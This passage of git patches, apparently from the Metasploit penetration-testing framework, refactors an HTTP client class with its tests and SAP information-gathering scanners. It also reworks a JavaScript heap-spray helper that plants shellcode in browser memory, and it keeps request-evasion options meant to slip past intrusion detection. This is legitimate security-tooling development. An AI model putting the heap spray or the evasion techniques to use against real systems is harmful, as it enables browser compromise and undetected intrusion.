(opts['port'] == 80) ? "" : ":#{opts['port']}" url << uri_str end @@ -266,24 +243,24 @@ class ClientRequest def set_encode_uri(str) a = str.dup - config['uri_encode_count'].times { - a = Rex::Text.uri_encode(a, config['uri_encode_mode']) + opts['uri_encode_count'].times { + a = Rex::Text.uri_encode(a, opts['uri_encode_mode']) } return a end def set_method - ret = method.dup + ret = opts['method'].dup - if (config['method_random_valid']) + if (opts['method_random_valid']) ret = ['GET', 'POST', 'HEAD'][rand(3)] end - if (config['method_random_invalid']) + if (opts['method_random_invalid']) ret = Rex::Text.rand_text_alpha(rand(20)+1) end - if (config['method_random_case']) + if (opts['method_random_case']) ret = Rex::Text.to_rand_case(ret) end @@ -291,11 +268,11 @@ class ClientRequest end def set_method_uri_spacer - len = config['pad_method_uri_count'].to_i + len = opts['pad_method_uri_count'].to_i set = " " buf = "" - case config['pad_method_uri_type'] + case opts['pad_method_uri_type'] when 'tab' set = "\t" when 'apache' @@ -315,11 +292,11 @@ class ClientRequest def set_uri_prepend prefix = "" - if (config['uri_fake_params_start']) + if (opts['uri_fake_params_start']) prefix << '/%3fa=b/../' end - if (config['uri_fake_end']) + if (opts['uri_fake_end']) prefix << '/%20HTTP/1.0/../../' end @@ -331,7 +308,7 @@ class ClientRequest # TODO: # * Encode path information def set_path_info - path ? path : '' + opts['path_info'] ? opts['path_info'] : '' end # @@ -347,11 +324,11 @@ class ClientRequest # Return the spacing between the uri and the version # def set_uri_version_spacer - len = config['pad_uri_version_count'].to_i + len = opts['pad_uri_version_count'].to_i set = " " buf = "" - case config['pad_uri_version_type'] + case opts['pad_uri_version_type'] when 'tab' set = "\t" when 'apache' @@ -369,17 +346,17 @@ class ClientRequest # Return the HTTP version string # def set_version - ret = protocol + "/" + version + ret = opts['proto'] + "/" + opts['version'] - if (config['version_random_valid']) - ret = protocol + "/" + ['1.0', '1.1'][rand(2)] + if (opts['version_random_valid']) + ret = opts['proto'] + "/" + ['1.0', '1.1'][rand(2)] end - if (config['version_random_invalid']) + if (opts['version_random_invalid']) ret = Rex::Text.rand_text_alphanumeric(rand(20)+1) end - if (config['version_random_case']) + if (opts['version_random_case']) ret = Rex::Text.to_rand_case(ret) end @@ -390,7 +367,7 @@ class ClientRequest # Return a formatted header string # def set_formatted_header(var, val) - if (self.config['header_folding']) + if (self.opts['header_folding']) "#{var}:\r\n\t#{val}\r\n" else "#{var}: #{val}\r\n" @@ -401,38 +378,38 @@ class ClientRequest # Return the HTTP agent header # def set_agent_header - user_agent ? set_formatted_header("User-Agent", user_agent) : "" + opts['agent'] ? set_formatted_header("User-Agent", opts['agent']) : "" end def set_auth_header - authorization ? set_formatted_header("Authorization", authorization) : "" + opts['authorization'] ? set_formatted_header("Authorization", opts['authorization']) : "" end # # Return the HTTP cookie header # def set_cookie_header - cookie ? set_formatted_header("Cookie", cookie) : "" + opts['cookie'] ? set_formatted_header("Cookie", opts['cookie']) : "" end # # Return the HTTP connection header # def set_connection_header - connection ? set_formatted_header("Connection", connection) : "" + opts['connection'] ? set_formatted_header("Connection", opts['connection']) : "" end # # Return the content type header # def set_content_type_header - set_formatted_header("Content-Type", content_type) + opts['ctype'] ? set_formatted_header("Content-Type", opts['ctype']) : "" end # # Return the content length header def set_content_len_header(clen) - return "" if config['chunked_size'] > 0 + return "" if opts['chunked_size'] > 0 set_formatted_header("Content-Length", clen) end @@ -440,8 +417,8 @@ class ClientRequest # Return the HTTP Host header # def set_host_header - return "" if config['uri_full_url'] - host ||= config['vhost'] + return "" if opts['uri_full_url'] + host ||= opts['vhost'] # IPv6 addresses must be placed in brackets if Rex::Socket.is_ipv6?(host) @@ -449,8 +426,8 @@ class ClientRequest end # The port should be appended if non-standard - if not [80,443].include?(port) - host = host + ":#{port}" + if not [80,443].include?(opts['port']) + host = host + ":#{opts['port']}" end set_formatted_header("Host", host) @@ -462,8 +439,8 @@ class ClientRequest def set_extra_headers buf = '' - if (config['pad_fake_headers']) - 1.upto(config['pad_fake_headers_count'].to_i) do |i| + if (opts['pad_fake_headers']) + 1.upto(opts['pad_fake_headers_count'].to_i) do |i| buf << set_formatted_header( Rex::Text.rand_text_alphanumeric(rand(32)+1), Rex::Text.rand_text_alphanumeric(rand(32)+1) @@ -471,7 +448,7 @@ class ClientRequest end end - headers.each_pair do |var,val| + opts['headers'].each_pair do |var,val| buf << set_formatted_header(var, val) end @@ -479,7 +456,7 @@ class ClientRequest end def set_chunked_header - return "" if config['chunked_size'] == 0 + return "" if opts['chunked_size'] == 0 set_formatted_header('Transfer-Encoding', 'chunked') end @@ -487,11 +464,11 @@ class ClientRequest # Return the HTTP seperator and body string # def set_body(bdata) - return "\r\n" + bdata if config['chunked_size'] == 0 + return "\r\n" + bdata if opts['chunked_size'] == 0 str = bdata.dup chunked = '' while str.size > 0 - chunk = str.slice!(0,rand(config['chunked_size']) + 1) + chunk = str.slice!(0,rand(opts['chunked_size']) + 1) chunked << sprintf("%x", chunk.size) + "\r\n" + chunk + "\r\n" end "\r\n" + chunked + "0\r\n\r\n" diff --git a/spec/lib/rex/proto/http/client_request_spec.rb b/spec/lib/rex/proto/http/client_request_spec.rb index 154a1a9485..29db9873bf 100644 --- a/spec/lib/rex/proto/http/client_request_spec.rb +++ b/spec/lib/rex/proto/http/client_request_spec.rb @@ -4,7 +4,7 @@ require 'rex/proto/http/client_request' shared_context "with 'uri_dir_self_reference'" do before(:all) do - client_request.config['uri_dir_self_reference'] = true + client_request.opts['uri_dir_self_reference'] = true end it "should return the unmodified uri" do @@ -14,9 +14,9 @@ end shared_context "with no evasions" do before(:all) do - client_request.config['uri_dir_self_reference'] = false - client_request.config['uri_fake_params_start'] = false - client_request.config['uri_full_url'] = false + client_request.opts['uri_dir_self_reference'] = false + client_request.opts['uri_fake_params_start'] = false + client_request.opts['uri_full_url'] = false end it "should return the unmodified uri" do @@ -27,11 +27,11 @@ end shared_context "with 'uri_full_url'" do before(:all) do - client_request.config['uri_full_url'] = true + client_request.opts['uri_full_url'] = true end before(:each) do - client_request.config['vhost'] = host + client_request.opts['vhost'] = host end context "with ipv4 host" do @@ -43,7 +43,7 @@ shared_context "with 'uri_full_url'" do context "with ipv6 host" do let(:host) { '2001:DB8::1' } #before(:each) do - # client_request.config['vhost'] = "[#{host}]" + # client_request.opts['vhost'] = "[#{host}]" #end it_behaves_like "uri_full_url" @@ -83,9 +83,7 @@ describe Rex::Proto::Http::ClientRequest do [ "with reasonable default options", default_options.merge({ 'agent' => "Mozilla/4.0 (compatible; Metasploit RSPEC)", - # Yes, vhost is in the config. There is no godly reason why this - # should be so. - 'client_config' => { 'vhost' => 'www.example.com', }, + 'vhost' => 'www.example.com', }), { :set_cgi => { :result => "/" }, @@ -106,7 +104,7 @@ describe Rex::Proto::Http::ClientRequest do [ "with header folding", default_options.merge({ 'agent' => "Mozilla/4.0 (compatible; Metasploit RSPEC)", - 'client_config' => { 'header_folding' => true, } + 'header_folding' => true, }), { :set_uri => { :result => "/" }, @@ -124,7 +122,7 @@ describe Rex::Proto::Http::ClientRequest do [ "with ipv6 host", default_options.merge({ - 'client_config' => { 'vhost' => "2001:DB8::1" }, + 'vhost' => "2001:DB8::1", }), { :set_host_header => { :result => "Host: [2001:DB8::1]\r\n" }, @@ -134,7 +132,7 @@ describe Rex::Proto::Http::ClientRequest do [ "with ipv6 host and non-default port", default_options.merge({ 'port' => 1234, - 'client_config' => { 'vhost' => "2001:DB8::1" }, + 'vhost' => "2001:DB8::1", }), { :set_host_header => { :result => "Host: [2001:DB8::1]:1234\r\n" }, @@ -162,11 +160,9 @@ describe Rex::Proto::Http::ClientRequest do context "with GET paramaters" do subject(:client_request) { options_with_params = default_options.merge({ - 'client_config' => { - 'uri_encode_mode' => encode_mode, - 'encode_params' => encode_params, - 'encode' => false, - }, + 'uri_encode_mode' => encode_mode, + 'encode_params' => encode_params, + 'encode' => false, 'vars_get' => vars_get, }) Rex::Proto::Http::ClientRequest.new(options_with_params) diff --git a/spec/lib/rex/proto/http/client_spec.rb b/spec/lib/rex/proto/http/client_spec.rb index 8dc10b8c46..11177b90fe 100644 --- a/spec/lib/rex/proto/http/client_spec.rb +++ b/spec/lib/rex/proto/http/client_spec.rb @@ -56,8 +56,6 @@ describe Rex::Proto::Http::Client do req = cli.request_cgi req.should be_a_kind_of Rex::Proto::Http::ClientRequest - req.port.should == 80 - req.ssl.should be_false end it "should attempt to connect to a server" do From b0745b090ac4698d54097f383f5ea7486c6f2ba8 Mon Sep 17 00:00:00 2001 From: James Lee Date: Wed, 27 Feb 2013 17:54:31 -0600 Subject: [PATCH 241/341] Msf HTTP uses this directly, can't axe it --- lib/rex/proto/http/client.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index b10af20c3c..be7b6cb436 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -23,6 +23,7 @@ module Http ### class Client + DefaultUserAgent = ClientRequest::DefaultUserAgent # # Creates a new client instance From 16bba7a6aca24d1dd28cddab66595d81d753f98d Mon Sep 17 00:00:00 2001 From: James Lee Date: Wed, 27 Feb 2013 18:06:55 -0600 Subject: [PATCH 242/341] Add test for pad_get_params --- .../lib/rex/proto/http/client_request_spec.rb | 20 +++++++++++++++++-- 1 file changed, 18 insertions(+), 2 deletions(-) diff --git a/spec/lib/rex/proto/http/client_request_spec.rb b/spec/lib/rex/proto/http/client_request_spec.rb index 29db9873bf..26729dfa52 100644 --- a/spec/lib/rex/proto/http/client_request_spec.rb +++ b/spec/lib/rex/proto/http/client_request_spec.rb @@ -178,6 +178,22 @@ describe Rex::Proto::Http::ClientRequest do } end + context "with 'pad_get_params'" do + let(:encode_params) { true } + it "should ..." do + old = client_request.opts['pad_get_params'] + client_request.opts['pad_get_params'] = true + + client_request.opts['pad_get_params_count'] = 0 + client_request.to_s.split("&").length.should == vars_get.length + + client_request.opts['pad_get_params_count'] = 10 + client_request.to_s.split("&").length.should == vars_get.length + 10 + + client_request.opts['pad_get_params'] = old + end + end + context "without 'encode_params'" do let(:encode_params) { false } it "should contain the unaltered params" do @@ -190,7 +206,7 @@ describe Rex::Proto::Http::ClientRequest do context "with 'encode_params'" do let(:encode_params) { true } - context "with 'uri_encode_mode' = default (hex-normal)" do + context "and 'uri_encode_mode' = default (hex-normal)" do it "should encode special chars" do str = client_request.to_s str.should include("foo%5b%5d=bar") @@ -199,7 +215,7 @@ describe Rex::Proto::Http::ClientRequest do end end - context "with 'uri_encode_mode' = hex-all" do + context "and 'uri_encode_mode' = hex-all" do let(:encode_mode) { 'hex-all' } it "should encode all chars" do str = client_request.to_s From 425c245771f68e69b5b90ac5e6b984d10f9bfc58 Mon Sep 17 00:00:00 2001 From: James Lee Date: Wed, 27 Feb 2013 19:13:05 -0600 Subject: [PATCH 243/341] Axe set_cgi in favor of set_uri They were identical except for a couple of extra bugs in set_cgi. Also changes ```split("/")``` to ```split("/", -1)```, which behaves correctly when the input has a seperator at the beginning or end. --- lib/rex/proto/http/client_request.rb | 38 ++---------------- .../lib/rex/proto/http/client_request_spec.rb | 40 ++++++++++++------- 2 files changed, 30 insertions(+), 48 deletions(-) diff --git a/lib/rex/proto/http/client_request.rb b/lib/rex/proto/http/client_request.rb index 31933fe5f7..62e1ede0e8 100644 --- a/lib/rex/proto/http/client_request.rb +++ b/lib/rex/proto/http/client_request.rb @@ -32,6 +32,7 @@ class ClientRequest 'vars_get' => {}, 'vars_post' => {}, 'version' => '1.1', + 'vhost' => nil, # # Evasion options @@ -96,7 +97,7 @@ class ClientRequest pstr = opts['data'] ? opts['data'].dup : "" if opts['cgi'] - uri_str= set_cgi + uri_str = set_uri if (opts['pad_get_params']) 1.upto(opts['pad_get_params_count'].to_i) do |i| @@ -132,10 +133,10 @@ class ClientRequest pstr << (opts['encode_params'] ? set_encode_uri(val) : val) end else - uri_str = set_uri if opts['encode'] qstr = set_encode_uri(qstr) end + uri_str = set_uri end req = '' @@ -188,7 +189,7 @@ class ClientRequest if (opts['uri_dir_fake_relative']) buf = "" - uri_str.split('/').each do |part| + uri_str.split('/',-1).each do |part| cnt = rand(8)+2 1.upto(cnt) { |idx| buf << "/" + Rex::Text.rand_text_alphanumeric(rand(32)+1) @@ -210,37 +211,6 @@ class ClientRequest end end - def set_cgi - uri_str = opts['uri'].dup - if (opts['uri_dir_self_reference']) - uri_str.gsub!('/', '/./') - end - - if (opts['uri_dir_fake_relative']) - buf = "" - uri_str.split('/').each do |part| - cnt = rand(8)+2 - 1.upto(cnt) { |idx| - buf << "/" + Rex::Text.rand_text_alphanumeric(rand(32)+1) - } - buf << ("/.." * cnt) - buf << "/" + part - end - uri_str = buf - end - - url = uri_str - - if (opts['uri_full_url']) - url = opts['ssl'] ? "https" : "http" - url << opts['vhost'] - url << (opts['port'] == 80) ? "" : ":#{opts['port']}" - url << uri_str - end - - url - end - def set_encode_uri(str) a = str.dup opts['uri_encode_count'].times { diff --git a/spec/lib/rex/proto/http/client_request_spec.rb b/spec/lib/rex/proto/http/client_request_spec.rb index 26729dfa52..426721cb6c 100644 --- a/spec/lib/rex/proto/http/client_request_spec.rb +++ b/spec/lib/rex/proto/http/client_request_spec.rb @@ -2,15 +2,6 @@ require 'spec_helper' require 'rex/proto/http/client_request' -shared_context "with 'uri_dir_self_reference'" do - before(:all) do - client_request.opts['uri_dir_self_reference'] = true - end - - it "should return the unmodified uri" do - client_request.send(:set_uri).should == "/./" - end -end shared_context "with no evasions" do before(:all) do @@ -24,6 +15,30 @@ shared_context "with no evasions" do end end + +shared_context "with 'uri_dir_self_reference'" do + before(:all) do + client_request.opts['uri_dir_self_reference'] = true + end + + it "should have a self reference" do + client_request.send(:set_uri).should == "/./" + end +end + + +shared_context "with 'uri_dir_fake_relative'" do + before(:all) do + client_request.opts['uri_dir_fake_relative'] = true + end + + it "should contain sequences of '../'" do + client_request.send(:set_uri).should include("../") + end + +end + + shared_context "with 'uri_full_url'" do before(:all) do @@ -42,9 +57,6 @@ shared_context "with 'uri_full_url'" do context "with ipv6 host" do let(:host) { '2001:DB8::1' } - #before(:each) do - # client_request.opts['vhost'] = "[#{host}]" - #end it_behaves_like "uri_full_url" end @@ -59,7 +71,7 @@ end shared_examples "uri_full_url" do - it "should have the host in the URI" do + it "#set_uri should have the host in the URI" do client_request.send(:set_uri).should start_with("http://#{host}/") end @@ -86,7 +98,6 @@ describe Rex::Proto::Http::ClientRequest do 'vhost' => 'www.example.com', }), { - :set_cgi => { :result => "/" }, :set_uri => { :result => "/" }, :set_method => { :result => "GET" }, :set_version => { :result => "HTTP/1.1\r\n" }, @@ -238,6 +249,7 @@ describe Rex::Proto::Http::ClientRequest do describe "#set_uri" do it_behaves_like "with 'uri_full_url'" it_behaves_like "with 'uri_dir_self_reference'" + it_behaves_like "with 'uri_dir_fake_relative'" it_behaves_like "with no evasions" end From 9f35452d736a723d6fdcf398c0f9993fa2f91ff8 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 28 Feb 2013 10:35:40 -0600 Subject: [PATCH 244/341] Beef up the default values for precise alloc size and consistency --- lib/msf/core/exploit/http/server.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index 6b5c143a9f..cdde2972f5 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -829,8 +829,8 @@ protected if (shellcode == undefined) { throw "Missing argument: shellcode"; } if (objId == undefined) { throw "Missing argument: objId"; } if (offset == undefined) { offset = 0x104; } - if (heapBlockSize == undefined) { heapBlockSize = 0x40000; } - if (maxAllocs == undefined) { maxAllocs = 0x250; } + if (heapBlockSize == undefined) { heapBlockSize = 0x80000; } + if (maxAllocs == undefined) { maxAllocs = 0x350; } if (browser == undefined) { browser = 'generic'; } if (offset > 0x800) { throw "Bad alignment"; } From 86d78939ad7450488800b0313283c8cbd4101f68 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 28 Feb 2013 11:01:15 -0600 Subject: [PATCH 245/341] Make objId optional --- lib/msf/core/exploit/http/server.rb | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index cdde2972f5..f341663e9a 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -799,9 +799,9 @@ protected # # The "sprayHeap" JavaScript function supports the following arguments: # shellcode => The shellcode to spray in JavaScript. - # objId => The ID for a
HTML tag. # browser => The type of browser to target for precise block size, such as: # 'ie8', 'ie9', 'ie10', and 'generic'. + # objId => Optional. The ID for a
HTML tag. # offset => Optional. Number of bytes to align the shellcode, default: 0x104 # heapBlockSize => Optional. Allocation size, default: 0x40000 # maxAllocs => Optional. Number of allocation calls, default: 0x250 @@ -817,7 +817,9 @@ protected # # def js_property_spray - js = %Q|function sprayHeap( oArg ) { + js = %Q| + var div_container; + function sprayHeap( oArg ) { shellcode = oArg.shellcode; browser = oArg.browser; @@ -827,7 +829,6 @@ protected objId = oArg.objId; if (shellcode == undefined) { throw "Missing argument: shellcode"; } - if (objId == undefined) { throw "Missing argument: objId"; } if (offset == undefined) { offset = 0x104; } if (heapBlockSize == undefined) { heapBlockSize = 0x80000; } if (maxAllocs == undefined) { maxAllocs = 0x350; } @@ -835,7 +836,12 @@ protected if (offset > 0x800) { throw "Bad alignment"; } - var div_container = document.getElementById(objId); + div_container = document.getElementById(objId); + + if (div_container == null) { + div_container = document.createElement("div"); + } + div_container.style.cssText = "display:none"; var data; junk = unescape("%u2020%u2020"); From 2c013cada8959a79ad27f3096e7178502f300b5a Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 28 Feb 2013 11:05:18 -0600 Subject: [PATCH 246/341] Update documentation for default values --- lib/msf/core/exploit/http/server.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index f341663e9a..444173c731 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -803,8 +803,8 @@ protected # 'ie8', 'ie9', 'ie10', and 'generic'. # objId => Optional. The ID for a
HTML tag. # offset => Optional. Number of bytes to align the shellcode, default: 0x104 - # heapBlockSize => Optional. Allocation size, default: 0x40000 - # maxAllocs => Optional. Number of allocation calls, default: 0x250 + # heapBlockSize => Optional. Allocation size, default: 0x80000 + # maxAllocs => Optional. Number of allocation calls, default: 0x350 # # Example of using the 'sprayHeap' function: #
From 722e07702920dc55d8759b635e6c9608707c7687 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 28 Feb 2013 11:09:52 -0600 Subject: [PATCH 247/341] Update generic target --- lib/msf/core/exploit/http/server.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index 444173c731..b69acde1f3 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -873,7 +873,7 @@ protected break; case 'generic': - obj.title = data.substring(0, heapBlockSize-0x58); + obj.title = data.substring(0, (heapBlockSize-2)/2); div_container.appendChild(obj); break; From 8cb5da0794415ec3a59578405f4296135bf94c57 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 28 Feb 2013 11:21:23 -0600 Subject: [PATCH 248/341] One size rules them all. --- lib/msf/core/exploit/http/server.rb | 31 ++--------------------------- 1 file changed, 2 insertions(+), 29 deletions(-) diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index b69acde1f3..bd0e6f0942 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -799,8 +799,6 @@ protected # # The "sprayHeap" JavaScript function supports the following arguments: # shellcode => The shellcode to spray in JavaScript. - # browser => The type of browser to target for precise block size, such as: - # 'ie8', 'ie9', 'ie10', and 'generic'. # objId => Optional. The ID for a
HTML tag. # offset => Optional. Number of bytes to align the shellcode, default: 0x104 # heapBlockSize => Optional. Allocation size, default: 0x80000 @@ -822,7 +820,6 @@ protected function sprayHeap( oArg ) { shellcode = oArg.shellcode; - browser = oArg.browser; offset = oArg.offset; heapBlockSize = oArg.heapBlockSize; maxAllocs = oArg.maxAllocs; @@ -832,7 +829,6 @@ protected if (offset == undefined) { offset = 0x104; } if (heapBlockSize == undefined) { heapBlockSize = 0x80000; } if (maxAllocs == undefined) { maxAllocs = 0x350; } - if (browser == undefined) { browser = 'generic'; } if (offset > 0x800) { throw "Bad alignment"; } @@ -855,31 +851,8 @@ protected for (var i = 0; i < maxAllocs; i++) { var obj = document.createElement("button"); - switch (browser) - { - case 'ie8': - obj.title = data.substring(0, (heapBlockSize-6)/2); - div_container.appendChild(obj); - break; - - case 'ie9': - obj.title = data.substring(0, (heapBlockSize-2)/2); - div_container.appendChild(obj); - break; - - case 'ie10': - obj.title = data.substring(0, (heapBlockSize-2)/2); - div_container.appendChild(obj); - break; - - case 'generic': - obj.title = data.substring(0, (heapBlockSize-2)/2); - div_container.appendChild(obj); - break; - - default: - throw "Invalid argument"; - } + obj.title = data.substring(0, (heapBlockSize-2)/2); + div_container.appendChild(obj); } } | From 18c0bb0ac8a6d7469e1b3a918fb78a59e7a980b9 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 28 Feb 2013 11:34:48 -0600 Subject: [PATCH 249/341] Updates description again --- lib/msf/core/exploit/http/server.rb | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index bd0e6f0942..8cb75c490a 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -805,13 +805,11 @@ protected # maxAllocs => Optional. Number of allocation calls, default: 0x350 # # Example of using the 'sprayHeap' function: - #
# # def js_property_spray From 0dcfb51071a2d63f9eb9aada22e30310ce632abf Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 28 Feb 2013 18:46:18 +0100 Subject: [PATCH 250/341] cleanup for sap_soap_rfc_system_info --- .../scanner/sap/sap_soap_rfc_system_info.rb | 28 +++++++++---------- 1 file changed, 13 insertions(+), 15 deletions(-) diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb index 1ec8aee729..21100734ee 100755 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_system_info.rb @@ -64,13 +64,13 @@ class Metasploit4 < Msf::Auxiliary def report_note_sap(type, data, value) # create note report_note( - :host => rhost, - :port => rport, - :proto => 'tcp', - :sname => 'sap', - :type => type, - :data => data + value - ) if data + :host => rhost, + :port => rport, + :proto => 'tcp', + :sname => 'sap', + :type => type, + :data => data + value + ) if data # update saptbl for output @saptbl << [ data, value ] end @@ -122,14 +122,12 @@ class Metasploit4 < Msf::Auxiliary # create table for output @saptbl = Msf::Ui::Console::Table.new( Msf::Ui::Console::Table::Style::Default, - 'Header' => "[SAP] SOAP RFC_SYSTEM_INFO", - 'Prefix' => "\n", - 'Postfix' => "\n", - 'Indent' => 1, - 'Columns' =>[ - "Key", - "Value" - ]) + 'Header' => "[SAP] SOAP RFC_SYSTEM_INFO", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' =>[ "Key", "Value" ] + ) response = res.body From 8f58c7b25e1b3aec8b8e21cb14eb39c4c16aee8c Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 28 Feb 2013 18:47:48 +0100 Subject: [PATCH 251/341] cleanup for sap_icf_public_info --- ..._system_info.rb => sap_icf_public_info.rb} | 52 +++++++++---------- 1 file changed, 24 insertions(+), 28 deletions(-) rename modules/auxiliary/scanner/sap/{sap_icf_rfc_system_info.rb => sap_icf_public_info.rb} (82%) diff --git a/modules/auxiliary/scanner/sap/sap_icf_rfc_system_info.rb b/modules/auxiliary/scanner/sap/sap_icf_public_info.rb similarity index 82% rename from modules/auxiliary/scanner/sap/sap_icf_rfc_system_info.rb rename to modules/auxiliary/scanner/sap/sap_icf_public_info.rb index ad808d5c43..2095bef790 100644 --- a/modules/auxiliary/scanner/sap/sap_icf_rfc_system_info.rb +++ b/modules/auxiliary/scanner/sap/sap_icf_public_info.rb @@ -26,26 +26,24 @@ class Metasploit4 < Msf::Auxiliary def initialize super( - 'Name' => 'SAP /sap/public/info RFC_SYSTEM_INFO Function Sensitive Information Gathering', + 'Name' => 'SAP ICF /sap/public/info Service Sensitive Information Gathering', 'Description' => %q{ - This module uses the RFC_SYSTEM_INFO function within SAP Internet Communication + This module uses the /sap/public/info service within SAP Internet Communication Framework (ICF) to obtain the operating system version, SAP version, IP address - and other information through /sap/public/info - + and other information. }, 'Author' => [ - # original sap_soap_rfc_system_info module - 'Agnivesh Sathasivam', - 'nmonkee', - # repurposed for /sap/public/info (non-RFC) - 'ChrisJohnRiley' + 'Agnivesh Sathasivam', # original sap_soap_rfc_system_info module + 'nmonkee', # original sap_soap_rfc_system_info module + 'ChrisJohnRiley' # repurposed for /sap/public/info (non-RFC) ], 'License' => MSF_LICENSE ) register_options( [ - OptString.new('PATH', [true, 'Path to SAP Application Server', '/']) + Opt::RPORT(8000), + OptString.new('TARGETURI', [true, 'Path to SAP Application Server', '/']) ], self.class) end @@ -59,23 +57,23 @@ class Metasploit4 < Msf::Auxiliary def report_note_sap(type, data, value) # create note report_note( - :host => rhost, - :port => rport, - :proto => 'tcp', - :sname => 'sap', - :type => type, - :data => data + value - ) if data + :host => rhost, + :port => rport, + :proto => 'tcp', + :sname => 'sap', + :type => type, + :data => data + value + ) if data # update saptbl for output @saptbl << [ data, value ] end def run_host(ip) - print_status("[SAP] #{ip}:#{rport} - Sending RFC_SYSTEM_INFO request to SAP Application Server") - uri = normalize_uri(datastore['PATH'] + '/sap/public/info') + print_status("[SAP] #{ip}:#{rport} - Sending request to SAP Application Server") + uri = normalize_uri(target_uri.path, '/sap/public/info') begin - res = send_request_raw({ 'uri' => uri }, 20) + res = send_request_cgi({ 'uri' => uri }) if res and res.code != 200 print_error("[SAP] #{ip}:#{rport} - Server did not respond as expected") return @@ -93,14 +91,12 @@ class Metasploit4 < Msf::Auxiliary # create table for output @saptbl = Msf::Ui::Console::Table.new( Msf::Ui::Console::Table::Style::Default, - 'Header' => "[SAP] ICF RFC_SYSTEM_INFO", - 'Prefix' => "\n", - 'Postfix' => "\n", - 'Indent' => 1, - 'Columns' =>[ - "Key", - "Value" - ]) + 'Header' => "[SAP] ICF SAP PUBLIC INFO", + 'Prefix' => "\n", + 'Postfix' => "\n", + 'Indent' => 1, + 'Columns' => [ "Key", "Value" ] + ) response = res.body From 5a79fcd11e516c17abaa4ef9a7fce956b31d7518 Mon Sep 17 00:00:00 2001 From: James Lee Date: Thu, 28 Feb 2013 13:47:30 -0600 Subject: [PATCH 252/341] Ensure we build only one Authorization header Also fixes an issue where Host headers were generated with nil by preferring the vhost from Client instead of the default nil from ClientRequest. --- lib/rex/proto/http/client.rb | 58 +++++++------------ lib/rex/proto/http/client_request.rb | 18 +++++- .../lib/rex/proto/http/client_request_spec.rb | 4 +- spec/lib/rex/proto/http/client_spec.rb | 49 ++++++++++++++++ 4 files changed, 89 insertions(+), 40 deletions(-) diff --git a/lib/rex/proto/http/client.rb b/lib/rex/proto/http/client.rb index be7b6cb436..38b5c3ac2b 100644 --- a/lib/rex/proto/http/client.rb +++ b/lib/rex/proto/http/client.rb @@ -38,11 +38,13 @@ class Client self.username = username self.password = password - self.config = { + # Take ClientRequest's defaults, but override with our own + self.config = Http::ClientRequest::DefaultConfig.merge({ 'read_max_data' => (1024*1024*1), 'vhost' => self.hostname, - }.merge(Http::ClientRequest::DefaultConfig) + }) + # XXX: This info should all be controlled by ClientRequest self.config_types = { 'uri_encode_mode' => ['hex-normal', 'hex-all', 'hex-random', 'u-normal', 'u-random', 'u-all'], 'uri_encode_count' => 'integer', @@ -104,7 +106,6 @@ class Client self.config[var]=val end - end # @@ -145,12 +146,6 @@ class Client opts['raw_headers'] = opts['raw_headers'] || config['raw_headers'] || '' opts['version'] = opts['version'] || config['version'] || '1.1' - opts['client_config'] = self.config - - if opts['basic_auth'] and not opts['authorization'] - opts['authorization'] = Rex::Text.encode_base64(opts['basic_auth']) - end - req = ClientRequest.new(opts) end @@ -167,28 +162,26 @@ class Client # # @return [ClientRequest] def request_cgi(opts={}) - opts['agent'] ||= config['agent'] - opts['data'] ||= '' - opts['uri'] ||= '/' - opts['cookie'] ||= config['cookie'] - opts['encode'] ||= false - opts['headers'] ||= config['headers'] || {} - opts['vhost'] ||= config['vhost'] - opts['method'] ||= 'GET' - opts['proto'] ||= 'HTTP' - opts['query'] ||= '' - opts['ctype'] ||= 'application/x-www-form-urlencoded' - opts['vars_get'] ||= {} - opts['vars_post'] ||= {} + opts['agent'] ||= config['agent'] + opts['basic_auth'] ||= config['basic_auth'] || '' + opts['cookie'] ||= config['cookie'] + opts['ctype'] ||= 'application/x-www-form-urlencoded' + opts['data'] ||= '' + opts['encode'] ||= false + opts['headers'] ||= config['headers'] || {} + opts['method'] ||= 'GET' + opts['proto'] ||= 'HTTP' + opts['query'] ||= '' + opts['raw_headers'] ||= config['raw_headers'] || '' + opts['uri'] ||= '/' + opts['vars_get'] ||= {} + opts['vars_post'] ||= {} + opts['version'] ||= config['version'] || '1.1' + opts['vhost'] ||= config['vhost'] opts['ssl'] = self.ssl 